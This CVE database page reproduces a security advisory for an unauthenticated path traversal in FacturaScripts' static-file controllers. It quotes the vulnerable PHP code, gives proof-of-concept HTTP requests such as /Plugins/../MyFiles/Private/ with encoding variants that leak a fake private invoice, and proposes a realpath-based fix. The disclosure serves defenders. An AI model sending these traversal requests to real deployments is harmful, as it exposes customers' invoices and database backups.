CVE-2026-45693

HIGHPre-NVD 7.57.5
EchelonGraph scoreHIGH confidence

Score 7.5 from GitHub Security Advisory (severity: HIGH) published 2026-07-14. the CNA's CVSS baseline 7.5; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: cna:github_m, ghsa
7.5
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 7.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents

Summary

The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.

The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.

The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.

Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.

Details

Path 1, in Core/Controller/Files.php

Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); }

if (false === $this->isFolderSafe($url)) { throw new KernelException('UnsafeFolder', $url); }

if (false === $this->isFileSafe($this->filePath)) { throw new KernelException('UnsafeFile', $url); }

isFolderSafe() only inspects the URL string:

public static function isFolderSafe(string $filePath): bool
{
    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
    foreach ($safeFolders as $folder) {
        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
            return true;
        }
    }
    return false;
}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

$this->filePath = Tools::folder() . urldecode($url);

if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); } if (false === $this->isFileSafe($this->filePath)) { throw new KernelException('UnsafeFile', $url); }

// if the folder is MyFiles/Public, then we don't need to check the token if (strpos($url, '/MyFiles/Public/') === 0) { return; }

$fixedFilePath = substr(urldecode($url), 1); $token = filter_input(INPUT_GET, 'myft'); if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) { throw new KernelException('MyfilesTokenError', $fixedFilePath); }

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 403 Forbidden
Invalid token.
The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired

Step 2, exploit via /Plugins/*. This is the no-precondition path:

GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC INVOICE: 2026-001 CLIENT: ACME Corporation TAX ID: B-12345678 AMOUNT: EUR 42,000.00 DUE DATE: 2026-06-15 PAID: 2026-05-09 INTERNAL NOTE: confidential customer financial data

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC ...

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

Affected request paths

| URL pattern | Controller | Token required | Result | |---|---|---|---| | /MyFiles/Private/invoice.pdf | Myfiles | yes | 403 (control) | | /Plugins/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) | | /Core/Assets/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) | | /Dinamic/Assets/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) | | /MyFiles/Public/../Private/invoice.pdf | Myfiles | bypassed | 200 (leak) |

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

  • Customer and supplier invoices stored under MyFiles/Private/
  • Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/)
  • Database backups exported with .sql
  • Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); }

$realPath = realpath($this->filePath); $base = realpath(Tools::folder()); if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) { throw new KernelException('UnsafeFolder', $url); }

$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public']; $relative = substr($realPath, strlen($base) + 1); $allowed = false; foreach ($safeFolders as $folder) { if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) { $allowed = true; break; } } if (!$allowed) { throw new KernelException('UnsafeFolder', $url); }

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).

CVSS v3
7.5
EG Score
7.5(high)
EPSS
KEV
Not listed

Published

July 14, 2026

Last Modified

July 14, 2026

Vendor Advisories for CVE-2026-45693(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 0× in last 7d / 0× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-15 16:30 UTCEG score recompute
  2. 2026-07-15 16:30 UTCGHSA enrichment
  3. 2026-07-15 05:13 UTCEG score recompute
  4. 2026-07-15 05:13 UTCGHSA enrichment
  5. 2026-07-14 17:56 UTCEG score recompute
  6. 2026-07-14 17:56 UTCGHSA enrichment

Frequently asked(4)

What is CVE-2026-45693?
CVE-2026-45693 is a high vulnerability published on July 14, 2026. FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents Summary The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an…
When was CVE-2026-45693 disclosed?
CVE-2026-45693 was first published in the National Vulnerability Database on July 14, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-45693?
CVE-2026-45693 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending).
How do I remediate CVE-2026-45693?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45693, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-45693

Explore →

Is Your Infrastructure Affected by CVE-2026-45693?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.